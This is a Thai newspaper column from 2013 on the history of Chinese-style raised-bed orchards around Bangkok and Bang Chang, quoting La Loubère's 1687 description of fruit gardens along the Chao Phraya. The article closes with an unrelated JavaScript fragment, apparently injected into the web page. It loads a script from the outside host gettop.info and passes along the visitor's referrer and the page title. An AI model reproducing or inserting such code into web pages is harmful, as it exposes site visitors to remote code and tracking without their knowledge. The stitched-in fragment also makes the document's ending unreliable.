มติชนรายวัน ฉบับประจำวันศุกร์ที่ 5 เมษายน 2556


          ทำสวนยกร่อง เป็นเทคโนโลยีจากจีน ที่ไทยสยามรับมาใช้งานเพาะปลูกทำมาค้าขายและทำมาหากินตั้งแต่ยุคต้นอยุธยา มากกว่า 500 ปีมาแล้ว

          เป็นไปได้ว่าเมื่อหลังการเดินทางของเจิ้นเหอ (บางทีเรียก ซำปอกง)

          เรื่องนี้ผมเรียบเรียงไว้ในหนังสือกรุงเทพฯ มาจากไหน? (พิมพ์ครั้งที่ 3 กระดาษอาร์ตด้าน สี่สีทั้งเล่ม ขายเล่มละ 290 บาท ศูนย์หนังสือจุฬาฯ ลด 20% ในงานสัปดาห์หนังสือ จนถึง 8 เม.ย.)

          สวน น่าจะหมายถึงพื้นที่ซึ่งมนุษย์จัดการปลูกไม้ผลไม้ดอก เพื่อทำมาค้าขายเป็นหลัก แล้วทำมาหากินเป็นรอง

          “บางช้างสวนนอก บางกอกสวนใน” เป็นคำคล้องจองมักใช้เรียกยกย่องบริเวณเรือกสวนยกร่องยอดเยี่ยมที่สุดมาแต่โบราณกาลมี 2 แห่ง คือ ที่บางช้าง (ปัจจุบันอยู่ใน อ. อัมพวา จ. สมุทรสงคราม) กับ บางกอก (คือ กรุงเทพฯ)

          แต่ไม่พบหลักฐานว่าเทคโนโลยีทำสวนยกร่องแบบจีน เริ่มที่ไหนก่อน? บางช้าง หรือ บางกอก? ซึ่งเป็นไปได้สูงมากว่าเริ่มมีพร้อมกัน หรือไล่เลี่ยกัน เพราะสภาพภูมิประเทศคล้ายคลึงกัน

          สวนยกร่องแบบจีน ทำให้มีไม้ผลมั่งคั่ง ลาลูแบร์ ราชทูตฝรั่งเศส เดินทางมาราชการผ่านขึ้นไปอยุธยาสมัยสมเด็จพระนารายณ์ เมื่อ พ.ศ. 2230 (ค.ศ. 1687) ราว 326 ปีมาแล้ว จึงพรรณนาพร้อมเขียนลายเส้นรูปผลหมากผลไม้ประกอบไว้ในจดหมายเหตุตอนหนึ่งว่า

          “สวนผลไม้ที่บางกอกนั้น มีอาณาบริเวณยาวไปตามชายฝั่งแม่น้ำ โดยทวนขึ้นไปกระทั่งจรดตลาดขวัญ”

          หมายความว่าบริเวณสองฝั่งแม่น้ำเจ้าพระยาตั้งแต่กรุงเทพฯ และปริมณฑล ขึ้นไปถึง จ. นนทบุรี เต็มไปด้วยสวนผลไม้นานาชนิด

          แต่ทุกอย่างบัดนี้นับว่าล่มสลายหมดแล้ว ด้วยเหตุต่างๆหลายอย่างด้วยกัน

          เหตุสำคัญอย่างหนึ่ง คือดีแต่พูดว่าปกปักรักษามรดกไทย แต่ไม่ทำ

} else {s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;